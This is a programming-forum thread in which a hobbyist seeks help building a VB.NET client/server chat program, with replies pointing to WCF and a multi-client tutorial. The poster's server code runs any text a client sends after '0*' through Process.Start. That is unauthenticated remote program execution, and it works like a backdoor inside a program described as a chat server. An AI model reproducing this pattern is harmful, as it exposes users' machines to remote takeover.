Results 1 to 8 of 8

Thread: client/server chat program help

  1. #1

    Thread Starter
    New Member
    Join Date
    May 2009
    Posts
    5

    client/server chat program help

    hello all i am dariou i am a vb.net programmer well not really i like programming as a hobby but my real job is in media anyway i am making a client/server chat program and i need some help first of all my idea is this :

    you use the client to connect to the server and start chatting now the server should take the sent text and send it to all connected clients and i have no idea how to do so this is the code i used : (please if you see any error let me know i would be really thankful)

    also i want the client to show all connected user in a label as user1 and user 2 as user2 and so on any help please ? and do you think that my code can handle more than one connection to the server ? or do i need to do something.... as i said im not a pro its just a hobby of mine any help would be great thanks in advance

    client code:

    client code Code:
    1. Imports System.Net
    2. Imports System.Net.Sockets
    3. Imports System.IO
    4.  
    5. Public Class Form1
    6.     ' variables
    7.     Dim sock As New TcpClient()
    8.     Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    9.     Dim port As Integer = 777
    10.     ' function to call when connecting
    11.     Private Sub connect()
    12.         ip = IPAddress.Parse(TextBox1.Text)
    13.         port = TextBox2.Text
    14.         Try
    15.             sock.Connect(ip, port)
    16.  
    17.         Catch ex As Exception
    18.             MsgBox("cannot connect to desired ip at this time, might be connection error or IP is offline")
    19.         End Try
    20.     End Sub
    21.     ' function to send data to server
    22.     Private Sub dat(ByVal dat As String)
    23.         Dim nstream As NetworkStream = sock.GetStream()
    24.         Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
    25.         nstream.Write(bit, 0, bit.Length)
    26.     End Sub
    27.  
    28.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    29.         connect()
    30.     End Sub
    31.  
    32.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
    33.         ' disconnecting
    34.         sock.Close()
    35.         If sock.Connected = True Then
    36.             MessageBox.Show("Error : sorry cant  disconnect for some reason try again, thnx")
    37.         End If
    38.     End Sub
    39.  
    40.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
    41.         ' sending data
    42.         dat("0*" + RichTextBox2.Text)
    43.     End Sub
    44. End Class

    server code :
    server code: Code:
    1. Imports System.Web
    2. Imports System.Net
    3. Imports System.IO
    4. Imports System.Net.Sockets
    5. Imports Microsoft.Win32
    6. Public Class Server
    7.     Dim port As Integer = 777
    8.     Dim tcpListen As New TcpListener(port)
    9.     Dim sock As New TcpClient()
    10.  
    11.     Private Sub listen()
    12.         Try
    13.             tcpListen.Start()
    14.             sock = tcpListen.AcceptTcpClient()
    15.         Catch ex As Exception
    16.         End Try
    17.     End Sub
    18.  
    19.     Private Sub check()
    20.         If sock.Connected = True Then
    21.             sock.SendTimeout = 5000
    22.             Try
    23.                 Dim nstream As NetworkStream = sock.GetStream
    24.                 Dim bit(sock.ReceiveBufferSize) As Byte
    25.                 nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
    26.                 Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
    27.                 Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
    28.  
    29.  
    30.                 If id(0) = 0 Then
    31.                     Dim stri As String = id(1)
    32.                     Process.Start(stri)
    33.                 End If
    34.             Catch ex As Exception
    35.                 check()
    36.             End Try
    37.         End If
    38.     End Sub
    39.  
    40.  
    41.     Private Sub Server_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    42.         While sock.Connected = False
    43.             Try
    44.                 listen()
    45.             Catch ex As Exception
    46.             End Try
    47.         End While
    48.  
    49.  
    50.         While True
    51.             check()
    52.         End While
    53.  
    54.  
    55.     End Sub
    56. End Class

  2. #2
    Pro Grammar chris128's Avatar
    Join Date
    Jun 2007
    Location
    England
    Posts
    7,604

    Re: client/server chat program help

    Welcome to the forums
    I think a guy on here named Athiest posted some tutorials/guides on how to make a generic chat program so you might want to take a look at that. Do a search in the codebank section and if you cant find it then post back here and I will try and dig it out

    Another thing to consider is using WCF instead of the TCPClient classes, but that would require quite a lot of changes to your application architecture etc. Using WCF you can have your clients 'subscribe' to events on the server so that when one client sends a message to the server, the server could raise a callback event in all of the other 'subscribed' clients and they could then process the message. You could do the same using TCPClient etc but it just generally simplifies things and makes things easier using WCF in my opinion. Might be worth just looking into though to see if it would benefit you
    Last edited by chris128; May 29th, 2009 at 08:55 AM.
    My free .NET Windows API library (Version 2.2 Released 12/06/2011)

    Blog: cjwdev.wordpress.com
    Web: www.cjwdev.co.uk


  3. #3

    Thread Starter
    New Member
    Join Date
    May 2009
    Posts
    5

    Re: client/server chat program help

    thanks alot man really appreciate it i'll take a look at that tut you talk about

    thanks

  4. #4
    Pro Grammar chris128's Avatar
    Join Date
    Jun 2007
    Location
    England
    Posts
    7,604

    Re: client/server chat program help

    No problem, if you do decide to go down the WCF route (personally I would use WCF but thats just me, I like just working with managed objects and not having to convert things into bytes and use buffers etc ) then if you have any WCF specific problems/questions you can post them here: http://www.vbforums.com/forumdisplay.php?f=86
    My free .NET Windows API library (Version 2.2 Released 12/06/2011)

    Blog: cjwdev.wordpress.com
    Web: www.cjwdev.co.uk


  5. #5

    Thread Starter
    New Member
    Join Date
    May 2009
    Posts
    5

    Re: client/server chat program help

    well i would really appreciate it if you can find me that tut you talked about cuz i cant find it

    thanks in advance man u been of great help thanks again

  6. #6
    Pro Grammar chris128's Avatar
    Join Date
    Jun 2007
    Location
    England
    Posts
    7,604

    Re: client/server chat program help

    my bad its not in the codebank, its here: http://www.vbforums.com/showthread.php?t=502795
    Quite long...
    My free .NET Windows API library (Version 2.2 Released 12/06/2011)

    Blog: cjwdev.wordpress.com
    Web: www.cjwdev.co.uk


  7. #7

    Thread Starter
    New Member
    Join Date
    May 2009
    Posts
    5

    Re: client/server chat program help

    thanks alot man im going to read it right now mean while if anyone else has any idea's please dont be shy to talk :P :P

  8. #8

    Thread Starter
    New Member
    Join Date
    May 2009
    Posts
    5

    Re: client/server chat program help

    sorry for the double post really

    i found a way how to make the server send the text to all connected clients but i have a question can i use this code (provided by Atheist) for the server with the client code that i made or do i have to change the client code? :

    Code:
       1.
          Public Class Form1
       2.
              Private listener As System.Net.Sockets.TcpListener
       3.
              Private listenThread As System.Threading.Thread
       4.
           
       5.
              Private clients As New List(Of ConnectedClient) 'This list will store all connected clients.
       6.
           
       7.
              Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
       8.
                  listener = New System.Net.Sockets.TcpListener(System.Net.IPAddress.Any, 43001) 'The TcpListener will listen for incoming connections at port 43001
       9.
                  listener.Start() 'Start listening.
      10.
                  listenThread = New System.Threading.Thread(AddressOf doListen) 'This thread will run the doListen method
      11.
                  listenThread.IsBackground = True 'Since we dont want this thread to keep on running after the application closes, we set isBackground to true.
      12.
                  listenThread.Start() 'Start executing doListen on the worker thread.
      13.
              End Sub
      14.
           
      15.
              Private Sub doListen()
      16.
                  Dim incomingClient As System.Net.Sockets.TcpClient
      17.
                  Do
      18.
                      incomingClient = listener.AcceptTcpClient 'Accept the incoming connection. This is a blocking method so execution will halt here until someone tries to connect.
      19.
                      Dim connClient As New ConnectedClient(incomingClient, Me) 'Create a new instance of ConnectedClient (check its constructor to see whats happening now).
      20.
                      AddHandler connClient.dataReceived, AddressOf Me.messageReceived
      21.
                      clients.Add(connClient) 'Adds the connected client to the list of connected clients.
      22.
           
      23.
                  Loop
      24.
              End Sub
      25.
           
      26.
              Public Sub removeClient(ByVal client As ConnectedClient)
      27.
                  If clients.Contains(client) Then
      28.
                      clients.Remove(client)
      29.
                  End If
      30.
              End Sub
      31.
           
      32.
              Private Sub messageReceived(ByVal sender As ConnectedClient, ByVal message As String)
      33.
                  'A message has been received from one of the clients.
      34.
                  'To determine who its from, use the sender object.
      35.
                  'sender.SendMessage can be used to reply to the sender.
      36.
           
      37.
                  Dim data() As String = message.Split("|"c) 'Split the message on each | and place in the string array.
      38.
                  Select Case data(0)
      39.
                      Case "CONNECT"
      40.
                          'We use GetClientByName to make sure no one else is using this username.
      41.
                          'It will return Nothing if the username is free.
      42.
                          'Since the client sent the message in this format: CONNECT|UserName, the username will be in the array on index 1.
      43.
                          If GetClientByName(data(1)) Is Nothing Then
      44.
                              'The username is not taken, we can safely assign it to the sender.
      45.
                              sender.Username = data(1)
      46.
                          End If
      47.
                      Case "DISCONNECT"
      48.
                          removeClient(sender)
      49.
                  End Select
      50.
           
      51.
              End Sub
      52.
           
      53.
              Private Function GetClientByName(ByVal name As String) As ConnectedClient
      54.
                  For Each cc As ConnectedClient In clients
      55.
                      If cc.Username = name Then
      56.
                          Return cc 'client found, return it.
      57.
                      End If
      58.
                  Next
      59.
                  'If we've reached this part of the method, there is no client by that name
      60.
                  Return Nothing
      61.
              End Function
      62.
          End Class

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width